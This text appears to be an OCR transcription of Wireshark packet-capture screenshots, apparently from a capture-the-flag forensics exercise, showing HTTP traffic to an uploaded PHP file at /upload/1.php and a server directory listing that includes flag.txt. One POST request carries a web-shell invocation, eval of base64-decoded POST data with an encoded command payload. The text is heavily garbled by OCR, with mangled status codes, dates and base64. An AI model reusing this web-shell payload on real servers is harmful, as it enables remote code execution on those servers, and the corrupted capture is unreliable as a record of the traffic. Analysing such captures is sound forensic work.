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1068 46.424.. 192.168.25.. 192.168.43.. HTTP;0.. POST /upload/l.php HTTP/1.1 (application/x-www-form-urlencoded)
*— 1150 50.147.. 192.168.43.. 192.168.25.. HTTP 515HTTP/1.1 280 OK (text/html)
1144 50.098.. 192.168.43.. 192.168.25.. HTTP 300 HTTP/1.1 280 OK (text/html)
88146.283..192.168.43.. 192.168.25.. TCP 60 80 » 47856 [SYN, ACK] Seq=0 Ack=1 Win=64240 Len=0 MSS=1460
1180 55.196.. 192.168.43.. 192.168.25.. TCP 60 80 47856 [FIN, PSH, ACK] Seq=708 Ack=206198 Win=64240 Len=0
= 121360.112..192.168.43.. 192.168.25.. TCP 60 80 47856 [ACK] Seq=709 Ack=206199 Win=64239 Len=0
1149 50.140..192.168.43.. 192.168.25.. TCP 60 80 47856 [ACK] Seq=247 Ack=206198 Win=64240 Len=0
1147 50.138..192.168.43.. 192.168.25.. TCP 60 80 47856 [ACK] Seq=247 Ack=205475 Win=64240 Len=0
979 46.375..192.168.43.. 192.168.25.. TCP 60 80 47856 [ACK] Seg=1 Ack=99520 Win=6424@ Len=0
978 46.375.. 192.168.43.. 192.168.25.. TCP 60 80 47856 [ACK] Seg=1 Ack=98060 Win=6424@ Len=0
976 46.374..192.168.43.. 192.168.25.. TCP 60 80 47856 [ACK] Seg=1 Ack=96600 Win=6424@ Len=0
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97546.374..192.168.43.. 192.168.25.. TCP 6080 » 47856 [ACK] Seq=1 Ack=95140 Win=64240 Len=0

~

Frame 1150: 515 bytes on wire (4120 bits), 515 bytes captured (4120 bits) on interface @
Ethernet II, Src: Vmware_f5:c2:5f (@0:50:56:f5:c2:5f), Dst: Vmware_21:b8:f4 (©0:50:56:21:b8:T4)
Internet Protocol Version 4, Src: 192.168.43.83, Dst: 192.168.25.128
Transmission Control Protocol, Src Port: 80, Dst Port: 47856, Seq: 247, Ack: 206198, Len: 461
Hypertext Transfer Protocol
v Line-based text data: text/html (7 lines)
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1.php\t2017-12-08 11:33:16\t33\t0666\n

6666.jpg\t2017-12-08 11:42:11\t102226\t0666\n

flag.txt\t2017-12-08 11:35:29\t17\te666\n

hello.zip\t2017-12-88 ©9:32:36\t224\t0666\n
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POST /upload/1.php HTTP/1.1

User-Agent: Java/1.8.@ 151

Host: 192.168.43.83

Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; g=.2
Connection: keep-alive

Content-type: application/x-www-form-urlencoded
Content-Length: 284999

aa=@eval.

(basesd decode($ POST[action]));&action=Q0GluavozZXQoImRpc3BsYX1fZXIyb31zIiwiMCIpOBBzZXRTdGltZzVosaWlpdCgwKTtAc2vex21hz21jX3
F1b3R1c19ydWS0aW11KDAPO2VjaG80Tie%2BTCIp0zskZ j1iYXNINGRTZGV]b2RIKCRTUEQTVFSsie jEiXSk7IGMOIFOQTINUWYI6MiIdOYRIPXNEC19yZXBSYW
N1KCIcciTsTiTsIGMpOYRjPXNOc19yZXBsYWNIKCIcbiTsTiTsIGMpOYyRidWYOTiT77Zm9yKCRpPTA7IGk8c3RybGVUKCRjKTskassaMikkynvmL j11emxkZiNy
ZGUoIiuiLnNlYnNecigkYywkaSwyKSk7ZWNobyhAZndyaXR1KGZvcGVUKCRMLCI3Tiks1GI17ik%2FIJEi0iIwIik702VjaG80InwsLSIpO2RpZSgpOwi3D%3D
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FEQE65DASFFS1BFF@@2F5FEQGBI-FDORRN YA W R l-T= 0
Date: Fri, @8 Dec 2017 11:42:87 GMT
7 |Server: Apache/2.4.23 (Win64) PHP/5.6.25
X-Powered-By: PHP/5.6.25 @
Content-Length: 7
Keep-Alive: timeout=5, max=100
4 |Connection: Keep-Alive
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